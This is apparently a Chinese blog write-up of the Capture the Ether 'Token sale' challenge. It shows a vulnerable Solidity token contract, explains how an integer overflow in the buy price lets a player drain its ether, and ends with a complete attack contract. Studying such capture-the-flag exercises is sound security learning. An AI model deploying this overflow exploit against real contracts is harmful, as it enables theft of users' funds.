抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Token sale

1. 题目

  • 1.1 This token contract allows you to buy and sell tokens at an even exchange rate of 1 token per ether.

    The contract starts off with a balance of 1 ether. See if you can take some of that away.

  • 1.2 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.21;

contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;

function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}

function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);

balanceOf[msg.sender] += numTokens;
}

function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);

balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}

2. 分析

  • 2.1 分析代码可知,如果按部就班来操作(即 用相同的钱来买相同的代币是行不通的—-因为 buy 函数中的require(msg.value == numTokens * PRICE_PER_TOKEN); balanceOf[msg.sender] += numTokens;sell 函数中的 require(balanceOf[msg.sender] >= numTokens); balanceOf[msg.sender] -= numTokens; 限制了你存多少取多少,不能存少取多)

  • 2.2 所以按部就班行不通,但是我们只能往存少取的方向取考虑,这就涉及了溢出的问题

  • 2.3 以 uint8为例子,我们可以知道

    在uint8 的加法中

    1
    2
    3
    >254 + 1 = 255
    >254 + 2 = 0
    >254 + 3 = 1

    我在remix中尝试过,直接显示的写 uint8 = 255 + 1 是会被编译器检测出来的,但是隐式的写则不会即

    1
    2
    >uint8 a = 255;
    >uint8 b = a + 1;

    这样输出的结果是 0

    在uint8 的乘法中

    1
    2
    >51 * 5 = 255
    >51 * 6 = 50

    51 * 6 = 50 可以根据加法拆分为

    51 * 6 = 51 * (5 + 1) = 51 * 5 + 51 = 255 + 1 + 50 = 50

    我的理解是超过 255重新计数,因为uint8 的取值范围是 [0,255] 256 位,所以超过255 的部分又从 0 开始。

    同理 uint256 类型也是如此,uint256的取值范围是[0,115792089237316195423570985008687907853269984665640564039457584007913129639935]

  • 2.4 我们本着存少取多的原则,让 require(msg.value == numTokens * PRICE_PER_TOKEN); 中的

    numTokens * PRICE_PER_TOKEN 发生溢出,我们就可以实现花费少的主币获取更多的代币

  • 2.5 在合约中主币是以 wei为单位的 也就是说 uint256 constant PRICE_PER_TOKEN = 1 ether = 10^18 wei

    我们就需要计算出溢出的门槛是多少 ,计算如下:

    1
    2
    3
    4
    5
    6
    7
    //115792089237316195423570985008687907853269984665640564039457584007913129639935
    uint256 result = 2**256 - 1;
    //115792089237316195423570985008687907853269984665640564039457
    uint256 temp = result / 10**18;
    // 此时给temp 的值加 1 应该是触发溢出的最低门槛
    uint256 money = (temp + 1) * 10**18; //money=415992086870360064

  • 在remix上测试得:

  • ![image-20240412145505381](Token sale/image-20240412145505381.png)

  • 2.6 然后再调用buy函数的时候,以 temp+1的值作为参数传入,money的值作为msg.value

  • ![image-20240412145523203](Token sale/image-20240412145523203.png)

  • 2.7 以 1 为参数调用 sell函数

  • ![image-20240412145532498](Token sale/image-20240412145532498.png)

  • 解题成功

3. 解题

解题过程如上述分析

一段时间时候,二刷

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
contract Hack {

TokenSaleChallenge challenge;

function Hack(address _challenge) public payable {
challenge = TokenSaleChallenge(_challenge);
}

function figure() internal pure returns (uint256) {
return (getMax() / 1 ether + 1) * 1 ether;
}

function getMax() internal pure returns (uint256) {
uint256 zero = 0;
return zero - 1;
}

function attack() public {
challenge.buy.value(figure())(getMax() / 1 ether + 1);
challenge.sell(1);
require(challenge.isComplete());
msg.sender.transfer(address(this).balance);
}

function() external payable{}
}

评论



政策 · 统计 | 本站使用 Volantis 主题设计